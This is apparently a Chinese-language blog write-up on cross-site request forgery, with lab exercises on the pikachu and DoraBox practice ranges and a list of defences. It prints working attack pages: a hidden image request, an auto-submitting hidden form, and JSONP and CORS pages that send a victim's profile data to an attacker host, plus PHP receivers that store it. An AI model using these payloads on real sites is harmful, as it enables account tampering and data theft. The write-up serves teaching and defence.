CSRF
參考內容
寫入型 https://blog.csdn.net/freeking101/article/details/86537087
讀取型 https://www.jianshu.com/p/d0575f50e5d6
CSRF全稱corss-site request forgery,中文是跨站請求偽造。
攻擊類型有寫入型和讀取型
請求方式get和post都有
在講這個漏洞前需要先帶一下cookie和session的知識
cookie的話用戶數據保存在客戶端,而session的用戶數據是存在服務端,session其實也算cookie
比如網站的自動登錄很多都是利用cookie實現的,在訪問站點的時候會把cookie帶上然后進行校驗然后登陸
cookie具有指向性,就是訪問a網站的時候只會攜帶a網站生成的cookie,訪問b網站的時候只會攜帶b網站生成的cookie
這些是由瀏覽器來完成,就是不存在用a網站生成的cookie去訪問b網站的情況
OK,下面開始講這個漏洞
個人表達不好,直接上例子
http://pay.php?user=tom&for=lucy&amount=100
假設tom給lucy轉100元,請求鏈接長上面那樣
然后黑客john也用這個網站轉賬,然后想搞tom的錢,就構造一個不可描述的網站發給tom
網站里面并沒有顯示和轉賬網站有關的內容,但有其中一張img元素的src是 http://pay.php?user=tom&for=john&amount=100
如果tom之前登陸了這個網站并沒有退出,并打開了john這個網站,那么就會從tom的瀏覽器發送一個請求給轉賬網站,從tom的余額轉100元給john,只要打開或刷新一次就會轉一次賬
上面這種就是寫入型get型csrf攻擊
攻擊原理
黑客偽造一個url請求,放到一個釣魚網站里,當其他用戶進入這個網站并在登陸狀態的情況下,這個網站就會攜帶該用戶的cookie發送請求
由于服務器并不知道是誰訪問的,它只認cookie,只要cookie沒問題,那就會正常處理請求。
靶場實例(寫入型)
pikachu靶場有三個csrf實例

先從CSRF(get)開始

拿lucy開刀
點擊submit,開burpsuite代理抓包

可以看到url里有很多參數,寫一個攻擊網站,表面是你好,背地里加一個img元素,里面的src就是進行csrf攻擊的url
<html> <head> <meta charset="utf-8" /> </head> <body> <h1>你好!</h1> <img src=http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=000&add=here&email=a%40qq.com&submit=submit width='0' height='0'> </body> </html>
打開攻擊網站,只有你好二字

然而回去看lucy的信息已物是人非

下一個CSRF(post)

由于post是表單提交,這個要麻煩點,為了能實現進去就攻擊,不需要用戶手動提交,就用js實現模擬提交,代碼網上找的
Window.onload方法由于表單里面必須要有一個submit參數,所以沒法用submit()方法自動提交,只能模擬提交了
攻擊網站如下
<html> <head> <meta charset="utf-8" /> </head> <script> // 1毫秒后模擬點擊 window.onload = function () { setTimeout(function () { // IE if (document.all) { document.getElementById("submit").click(); } // 其它瀏覽器 else { var e = document.createEvent("MouseEvents"); e.initEvent("click", true, true); document.getElementById("submit").dispatchEvent(e); } }, 1); } </script> <body> <h1>你好</h1> <form method="post" id="test" name="test" action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input hidden type="text" name="sex" value="girl" /> <input hidden type="text" name="phonenum" value="666" /> <input hidden type="text" name="add" value="here" /> <input hidden type="text" name="email" value="lucy@qq.com" /> <input hidden type="submit" id="submit" name="submit" value="submit" /> </form> </body> </html>
打開頁面閃過 你好 二字(1ms)就跳過去個人信息頁面了

信息也被修改
最后一個CSRF(token)
抓包

也是get方法,不過參數里面多了一個token

這個token每次都會變,這就沒法偽造了,去看看源碼
//生成一個token,以當前微妙時間+一個5位的前綴 function set_token() { if (isset($_SESSION['token'])) { unset($_SESSION['token']); } $_SESSION['token'] = str_replace('.', '', uniqid(mt_rand(10000, 99999), true)); }
每次返回前端頁面都會隨機生成一個token存在session,開頭說了,session是存在服務端上的,這就沒轍了,因為每次都隨機,而且token不是在客戶端本地,沒法偽造請求了。
靶場實例(讀取型)
DoraBox靶場有兩個實例

JSONP劫持,訪問url
http://localhost/dorabox/csrf/jsonp.php?callback=test
現在以用戶的身份點擊,就會返回這么一串json格式的數據
test({"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"})
現在切換到黑客的身份,我要盜取用戶訪問這個url后返回的數據,編寫釣魚網頁如下
<html> <head> <meta charset="utf-8" /> </head> <body> <script> function Callback(json) { url = "http://csrf.com/payload/csrf/csrf-jsonp-load.php?result=" + JSON.stringify(json); var request = new XMLHttpRequest(); request.open("GET", url); request.send(null); } </script> <script src="http://localhost/dorabox/csrf/jsonp.php?callback=Callback"> </script> <h1>你好</h1> </body> </html>
接收端網頁
<?php header('Access-Control-Allow-Origin:*'); if (!isset($_GET['result'])) { echo "none"; exit(); } else { $data = $_GET['result']; } echo $data; file_put_contents("1.txt", $data);
訪問釣魚網站,僅有你好二字

然后看看接收端那邊,多了一個1.txt,可以看到數據已被獲取

CORS跨域資源讀取,訪問url
http://localhost/dorabox/csrf/userinfo.php
現在以用戶的身份點擊,就會返回這么一串json格式的數據
{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"}
現在切換到黑客的身份,我要盜取用戶訪問這個url后返回的數據,編寫釣魚網頁如下
<html> <head> <meta charset="utf-8" /> </head> <body> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { url = "http://csrf.com/payload/csrf/csrf-cors-load.php?result=" + xhr.responseText; var request = new XMLHttpRequest(); request.open("GET", url); request.send(null); } } xhr.open("GET", "http://localhost/dorabox/csrf/userinfo.php"); xhr.send(); } cors(); </script> <h1>你好</h1> </body> </html>
接收端網頁
<?php header('Access-Control-Allow-Origin:*'); if (!isset($_GET['result'])) { echo "none"; exit(); } $data = $_GET['result']; file_put_contents("2.txt", $data);
訪問釣魚網站,僅有你好二字

然后看看接收端那邊,多了一個2.txt,可以看到數據已被獲取

漏洞成因
1、用戶的登陸信息,就是cookie存在本地
2、用戶使用完網站后沒退出登錄狀態
3、服務器沒有有效檢驗請求合法性
預防方法
1、簡單粗暴點的,不保留用戶保持登陸狀態,但對用戶來說不方便,或者設置較短的過期時間
2、設置隨機token且存進session,這樣攻擊者沒法獲取,如果存進cookie還是很容易被盜取
3、盡量使用post方法,這樣參數不會暴露在url中
4、cookie不要存用戶的敏感信息
5、敏感操作進行二次校驗,比如短信驗證碼,人機交互驗證碼,舊信息驗證
6、驗證referer請求來源
浙公網安備 33010602011771號